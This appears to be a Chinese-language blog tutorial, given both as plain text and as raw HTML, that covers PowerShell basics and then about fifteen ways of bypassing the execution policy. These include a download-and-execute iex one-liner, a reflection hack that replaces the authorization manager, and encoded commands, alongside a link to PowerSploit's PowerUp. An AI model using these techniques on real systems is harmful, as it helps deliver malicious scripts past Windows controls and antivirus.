1 介绍
Windows PowerShell 是一种命令行外壳程序的脚本环境,它内置在每个受支持的Windows版中(Windows7、Windows Server2008 R2及更高版本),为windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了遍历。
需要.NET环境支持
1.1 特点
-
win7以上默认安装
-
脚本可以在内存中运行,不需要写入磁盘
-
几乎不会出发杀软
-
可以远程执行
-
是windows脚本执行更容易
-
cmd.exe的运行通常会被阻止,但是PowerShell不会被阻止
-
可用于管理活动目录
1.2 基本概念
1.2.1 .ps1 文件
一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列命令,每个命令为独立一行。
1.2.2 执行策略
为防止恶意脚本,默认情况下策略为“不能执行”
若无法运行,可使用cmdlet
查询当前执行策略
get-executionPolicy

Restricted
:脚本不能运行(默认设置)
RemoteSigned
:在本地创建脚本可以运行,但从网上下载的不能(拥有数字证书签名除外)
AllSigned
:仅当脚本受信任的发布者签名时才能运行
Urestricted
:允许所有脚本运行
可以使用cmdlet命令设置PowerShell的执行策略
set-ExcutionPolicy <policy name>
1.2.3 运行脚本
必须输入完整路径和问价名,如:
C:\Scripts\a.ps1
1.2.4 管道
作用:将一个命令的输出作为另一个命令的输入,两个命令用 |
连接
get-process p* | stop-process
一个神奇的命令
2 常用命令
2.1 帮助
help

2.2 查看PowerShell版本
get-host
$PSVersionTable.PSVERSION


2.3 启动
powershell

也可以从cmd输入命令切入
2.4 获取命令
命令很多

2.5 获取所有进程
get-process

2.6 指定命令重命名
set-alias aaa get-command

2.7 清屏
cls
clear
3 PowerShell提权
要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改为Unrestricted。
PowerUp.ps1
文件可从这里下载
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
3.1 绕过本地权限并执行
runme.ps1
Write-Host "My voice is my passport, verify me."
3.1.1 获取当前策略
Get-ExecutionPolicy

同样可以将之心执行策略设置为不同级别。
3.1.2 查看支持的所有级别
linux 基本命令也可以用
Set-ExecutionPolicy
Get-ExecutionPolicy -List | Format-Table -Autoize


如果策略很开放,想使用更严格的方式来测试如下方案,需切换到管理员身份,执行
Set-ExecutionPolicy Restricted
3.2 绕过方式
3.2.1 在交互式PowerShell窗口运行

3.2.2 Echo脚本 Pipe到PowerShell的标准输入
引号内如果是中文会报错,未知

3.2.3 从文件读入脚本 Pipe到PowerShell的标准输入
Get-Content ./runme.ps1 | PowerShell.exe -noprofile -
Type ./runme.ps1 | PowerShell.exe -noprofile -

3.2.4 从一个URL Dowload脚本内容,然后执行
PowerShell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://10.12.120.66:8888/runme.ps1')"
这里一直没测试成功
3.2.5 使用 -command 命令参数
此方法和直接粘贴脚本内容的方式很像,但是此方法不需要一个交互式窗口。它适用于简单脚本执行,对于复杂脚本会发生解析错误。该方法同样不会写内容到磁盘中。
PowerShell -command "Write-Host 'you are good.'"

可以将该命令写到一个bat文件中,然后放到启动目录中,来帮助提权
3.2.6 使用 -encodedCommand命令参数
此方法很上一个方法很相似,但是此方式脚本内容是 Unicode/base64 encod字符串。
使用编码的好处是可以让你避免执行使用Command参数时产生一些糟糕的解析问题

3.2.7 Invoke-Command 命令
该方法最好的在对对抗PowerShell remoting开启的Remote系统
invoke-command -scriptblock {Write-Host "You are good."}

如下命令可以来从一个远程系统上抓区执行策略,同时运用到本地计算机中
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
3.2.8 使用Invoke-Expression命令
Get-Content ./runme.ps1 | Invoke-Expression
gc ./runme.ps1 | iex
测试均未生效
3.2.9 使用Bypass执行策略标志
这个方法时微软提供的用来绕过执行策略的一种方式。当指定白标志后,即视为什么都不做,什么警告都不提示
PowerShell -ExecutionPolicy bypass -File ./runme.ps1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IOnKv7Jv-1630949007798)(Windows PowerShell使用Bypass执行策略标志.png)]
3.2.10 使用Unrestricted执行策略标志
该标志和bypass很像,但是当使用该标志时,意味着加载所有的配置文件和执行所有的脚本
PowerShell -ExecutionPolicy unrestricted -File ./runme.ps1

3.2.11 使用Remote-Signed执行策略标志
创建脚本,然后按签名指南,最后运行
签名指南:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
PowerShell.exe -ExecutionPolicy Remote-signed -File ./runme.ps1
未测试成功
3.2.12 通过换出认证管理器,禁用执行策略
如果函数可以在交互式窗口中使用,也可以在Command参数中指定。
一旦该函数被执行,则会认证管理器,同时默认策略改为unrestricted。
该方法只在一个会话范围内有效。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ./runme.ps1
disable-ExecutionPolicy
./runme.ps1

3.2.13 设置执行策略为Process作用域
执行策略可以应用到各个级别,其中包括完全控制process。使用该方法仅限于session中,执行策略会变为unrestricted
Set-ExecutionPolicy Bypass -Scope Process

3.2.14 通过命令设置执行策略为CurrentUser作用域
Set-ExecutionPolicy -Scopr CurrentUser ExecutionPolucy UnRestricted
命令报错
3.2.15 通过注册表设置执行策略为CurrentUser作用域
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
regedit

<h2><a id="1__0"></a>1 介绍</h2>
<p>Windows PowerShell 是一种命令行外壳程序的脚本环境,它内置在每个受支持的Windows版中(Windows7、Windows Server2008 R2及更高版本),为windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了遍历。</p>
<p>需要.NET环境支持</p>
<h3><a id="11__6"></a>1.1 特点</h3>
<ol>
<li>
<p>win7以上默认安装</p>
</li>
<li>
<p>脚本可以在内存中运行,不需要写入磁盘</p>
</li>
<li>
<p>几乎不会出发杀软</p>
</li>
<li>
<p>可以远程执行</p>
</li>
<li>
<p>是windows脚本执行更容易</p>
</li>
<li>
<p>cmd.exe的运行通常会被阻止,但是PowerShell不会被阻止</p>
</li>
<li>
<p>可用于管理活动目录</p>
</li>
</ol>
<h3><a id="12__19"></a>1.2 基本概念</h3>
<h4><a id="121_ps1__21"></a>1.2.1 .ps1 文件</h4>
<p>一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列命令,每个命令为独立一行。</p>
<h4><a id="122__27"></a>1.2.2 执行策略</h4>
<p>为防止恶意脚本,默认情况下策略为“不能执行”</p>
<p>若无法运行,可使用<code>cmdlet</code>查询当前执行策略</p>
<pre><div class="hljs"><code class="lang-shell">get-executionPolicy
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/edaeb7286d3a65032a6992e99f12fd07.png" alt="Windows PowerShell get-executionPolicy" /></p>
<p><code>Restricted</code>:脚本不能运行(默认设置)</p>
<p><code>RemoteSigned</code>:在本地创建脚本可以运行,但从网上下载的不能(拥有数字证书签名除外)</p>
<p><code>AllSigned</code>:仅当脚本受信任的发布者签名时才能运行</p>
<p><code>Urestricted</code>:允许所有脚本运行</p>
<p>可以使用cmdlet命令设置PowerShell的执行策略</p>
<pre><div class="hljs"><code class="lang-shell">set-ExcutionPolicy <policy name>
</code></div></pre>
<h4><a id="123__58"></a>1.2.3 运行脚本</h4>
<p>必须输入完整路径和问价名,如:</p>
<pre><div class="hljs"><code class="lang-shell">C:\Scripts\a.ps1
</code></div></pre>
<h4><a id="124__68"></a>1.2.4 管道</h4>
<p>作用:将一个命令的输出作为另一个命令的输入,两个命令用 <code>|</code> 连接</p>
<pre><div class="hljs"><code class="lang-shell">get-process p* | stop-process
</code></div></pre>
<p>一个神奇的命令</p>
<h2><a id="2__80"></a>2 常用命令</h2>
<h3><a id="21__82"></a>2.1 帮助</h3>
<pre><div class="hljs"><code class="lang-shell">help
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/23a14e2c80f5356ec79e7fecb0022a24.png" alt="Windows PowerShell帮助" /></p>
<h3><a id="22_PowerShell_90"></a>2.2 查看PowerShell版本</h3>
<pre><div class="hljs"><code class="lang-shell">get-host
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell"><span class="hljs-meta">$</span><span class="language-bash">PSVersionTable.PSVERSION</span>
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/c2b40fbb47d57fd194d4055bc4cc746d.png" alt="查看Windows PowerShell版本" /></p>
<p><img src="https://static.couragesteak.com/article/3a02b90e82644469cb6fbd0ddc51d37f.png" alt="查看Windows PowerShell版本" /></p>
<h3><a id="23__104"></a>2.3 启动</h3>
<pre><div class="hljs"><code class="lang-shell">powershell
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/d48231ec20b0dfa2b08c5321f553a0a8.png" alt="Windows PowerShell启动" /></p>
<p>也可以从cmd输入命令切入</p>
<h3><a id="24__116"></a>2.4 获取命令</h3>
<p>命令很多</p>
<p><img src="https://static.couragesteak.com/article/e0da069be080cba8a12709047bd9ba50.png" alt="Windows PowerShell获取命令" /></p>
<h3><a id="25__122"></a>2.5 获取所有进程</h3>
<pre><div class="hljs"><code class="lang-shell">get-process
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/ba09c8fa302a2a9459eb840963716770.png" alt="Windows PowerShell获取所有进程" /></p>
<h3><a id="26__132"></a>2.6 指定命令重命名</h3>
<pre><div class="hljs"><code class="lang-shell">set-alias aaa get-command
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/45f37bf11f7c93647ac027992d220f81.png" alt="Windows PowerShell指定命令重命名" /></p>
<h3><a id="27__140"></a>2.7 清屏</h3>
<pre><div class="hljs"><code class="lang-shell">cls
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell">clear
</code></div></pre>
<h2><a id="3_PowerShell_152"></a>3 PowerShell提权</h2>
<p>要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改为Unrestricted。</p>
<p><code>PowerUp.ps1</code>文件可从这里下载</p>
<p><a href="https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc" target="_blank">https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc</a></p>
<h3><a id="31__160"></a>3.1 绕过本地权限并执行</h3>
<p>runme.ps1</p>
<pre><div class="hljs"><code class="lang-shell">Write-Host "My voice is my passport, verify me."
</code></div></pre>
<h4><a id="311__170"></a>3.1.1 获取当前策略</h4>
<pre><div class="hljs"><code class="lang-shell">Get-ExecutionPolicy
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/90c0f4162d0d6f480625badfe0602c61.png" alt="Windows PowerShell查看当前策略" /></p>
<p>同样可以将之心执行策略设置为不同级别。</p>
<h4><a id="312__182"></a>3.1.2 查看支持的所有级别</h4>
<p>linux 基本命令也可以用</p>
<pre><div class="hljs"><code class="lang-shell">Set-ExecutionPolicy
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell">Get-ExecutionPolicy -List | Format-Table -Autoize
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/f482fc7068b7e7c2b5ae44d12ac24182.png" alt="Windows PowerShell Get-ExecutionPolicy -List" /></p>
<p><img src="https://static.couragesteak.com/article/1e8ed51420e7f12dc614b0c10ac1e4be.png" alt="Windows PowerShell向控制台输出一句话失败" /></p>
<p>如果策略很开放,想使用更严格的方式来测试如下方案,需切换到管理员身份,执行</p>
<p><code>Set-ExecutionPolicy Restricted</code></p>
<h3><a id="32__210"></a>3.2 绕过方式</h3>
<h4><a id="321_PowerShell_212"></a>3.2.1 在交互式PowerShell窗口运行</h4>
<p><img src="https://static.couragesteak.com/article/e4c47374a7de9276aa102b9823eddf8b.png" alt="Windows PowerShell在交互式PowerShell窗口运行" /></p>
<h4><a id="322_Echo_PipePowerShell_218"></a>3.2.2 Echo脚本 Pipe到PowerShell的标准输入</h4>
<p>引号内如果是中文会报错,未知</p>
<p><img src="https://static.couragesteak.com/article/abed8536e11e431ca0468700413609fd.png" alt="Windows PowerShell Echo脚本 Pipe到PowerShell的标准输入" /></p>
<h4><a id="323__PipePowerShell_226"></a>3.2.3 从文件读入脚本 Pipe到PowerShell的标准输入</h4>
<pre><div class="hljs"><code class="lang-shell">Get-Content ./runme.ps1 | PowerShell.exe -noprofile -
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell">Type ./runme.ps1 | PowerShell.exe -noprofile -
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/ef5d6eb12fb112151b03ac24ec66aa74.png" alt="Windows PowerShell从文件读入脚本 Pipe到PowerShell的标准输入" /></p>
<h4><a id="324_URL_Dowload_240"></a>3.2.4 从一个URL Dowload脚本内容,然后执行</h4>
<pre><div class="hljs"><code class="lang-shell">PowerShell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://10.12.120.66:8888/runme.ps1')"
</code></div></pre>
<p>这里一直没测试成功</p>
<h4><a id="325__command__250"></a>3.2.5 使用 -command 命令参数</h4>
<p>此方法和直接粘贴脚本内容的方式很像,但是此方法不需要一个交互式窗口。它适用于简单脚本执行,对于复杂脚本会发生解析错误。该方法同样不会写内容到磁盘中。</p>
<pre><div class="hljs"><code class="lang-shell">PowerShell -command "Write-Host 'you are good.'"
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/a222b575793904891e1f1822bd640dc4.png" alt="Windows PowerShell使用 -command 命令参数" /></p>
<p>可以将该命令写到一个bat文件中,然后放到启动目录中,来帮助提权</p>
<h4><a id="326__encodedCommand_264"></a>3.2.6 使用 -encodedCommand命令参数</h4>
<p>此方法很上一个方法很相似,但是此方式脚本内容是 Unicode/base64 encod字符串。</p>
<p>使用编码的好处是可以让你避免执行使用Command参数时产生一些糟糕的解析问题</p>
<p><img src="https://static.couragesteak.com/article/46abecb3c14d12d7c35d972941530c50.png" alt="image-20210905224814953" /></p>
<h4><a id="327_InvokeCommand__274"></a>3.2.7 Invoke-Command 命令</h4>
<p>该方法最好的在对对抗PowerShell remoting开启的Remote系统</p>
<pre><div class="hljs"><code class="lang-shell">invoke-command -scriptblock {Write-Host "You are good."}
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/878c6237f0421e6d063d36741b4b6242.png" alt="Windows PowerShell Invoke-Command 命令" /></p>
<p>如下命令可以来从一个远程系统上抓区执行策略,同时运用到本地计算机中</p>
<pre><div class="hljs"><code class="lang-shell">invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
</code></div></pre>
<h4><a id="328_InvokeExpression_292"></a>3.2.8 使用Invoke-Expression命令</h4>
<pre><div class="hljs"><code class="lang-shell">Get-Content ./runme.ps1 | Invoke-Expression
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell">gc ./runme.ps1 | iex
</code></div></pre>
<p>测试均未生效</p>
<h4><a id="329_Bypass_308"></a>3.2.9 使用Bypass执行策略标志</h4>
<p>这个方法时微软提供的用来绕过执行策略的一种方式。当指定白标志后,即视为什么都不做,什么警告都不提示</p>
<pre><div class="hljs"><code class="lang-shell">PowerShell -ExecutionPolicy bypass -File ./runme.ps1
</code></div></pre>
<p>[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IOnKv7Jv-1630949007798)(Windows PowerShell使用Bypass执行策略标志.png)]</p>
<h4><a id="3210_Unrestricted_320"></a>3.2.10 使用Unrestricted执行策略标志</h4>
<p>该标志和bypass很像,但是当使用该标志时,意味着加载所有的配置文件和执行所有的脚本</p>
<pre><div class="hljs"><code class="lang-shell">PowerShell -ExecutionPolicy unrestricted -File ./runme.ps1
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/dbc11a03d483d914df386ed9c1192723.png" alt="Windows PowerShell使用Unrestricted执行策略标志" /></p>
<h4><a id="3211_RemoteSigned_332"></a>3.2.11 使用Remote-Signed执行策略标志</h4>
<p>创建脚本,然后按签名指南,最后运行</p>
<p><a href="https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html" target="_blank">签名指南:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html</a></p>
<pre><div class="hljs"><code class="lang-shell">PowerShell.exe -ExecutionPolicy Remote-signed -File ./runme.ps1
</code></div></pre>
<p>未测试成功</p>
<h4><a id="3212__346"></a>3.2.12 通过换出认证管理器,禁用执行策略</h4>
<p>如果函数可以在交互式窗口中使用,也可以在Command参数中指定。</p>
<p>一旦该函数被执行,则会认证管理器,同时默认策略改为unrestricted。</p>
<p>该方法只在一个会话范围内有效。</p>
<pre><div class="hljs"><code class="lang-shell">function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ./runme.ps1
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell">disable-ExecutionPolicy
</code></div></pre>
<pre><div class="hljs"><code class="lang-shell">./runme.ps1
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/14a4189921a03e75efb767cbe9671505.png" alt="Windows PowerShell通过换出认证管理器,禁用执行策略" /></p>
<h4><a id="3213_Process_370"></a>3.2.13 设置执行策略为Process作用域</h4>
<p>执行策略可以应用到各个级别,其中包括完全控制process。使用该方法仅限于session中,执行策略会变为unrestricted</p>
<pre><div class="hljs"><code class="lang-shell">Set-ExecutionPolicy Bypass -Scope Process
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/3caed243030c2e86b8119464669e6cd1.png" alt="Windows PowerShell设置执行策略为Process作用域" /></p>
<h4><a id="3214_CurrentUser_382"></a>3.2.14 通过命令设置执行策略为CurrentUser作用域</h4>
<pre><div class="hljs"><code class="lang-shell">Set-ExecutionPolicy -Scopr CurrentUser ExecutionPolucy UnRestricted
</code></div></pre>
<p>命令报错</p>
<h4><a id="3215_CurrentUser_392"></a>3.2.15 通过注册表设置执行策略为CurrentUser作用域</h4>
<p>HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell</p>
<pre><div class="hljs"><code class="lang-shell">regedit
</code></div></pre>
<p><img src="https://static.couragesteak.com/article/5f11a9c09fde210943375a2b087467e1.png" alt="Windows PowerShell通过注册表设置执行策略为CurrentUser作用域" /></p>
留言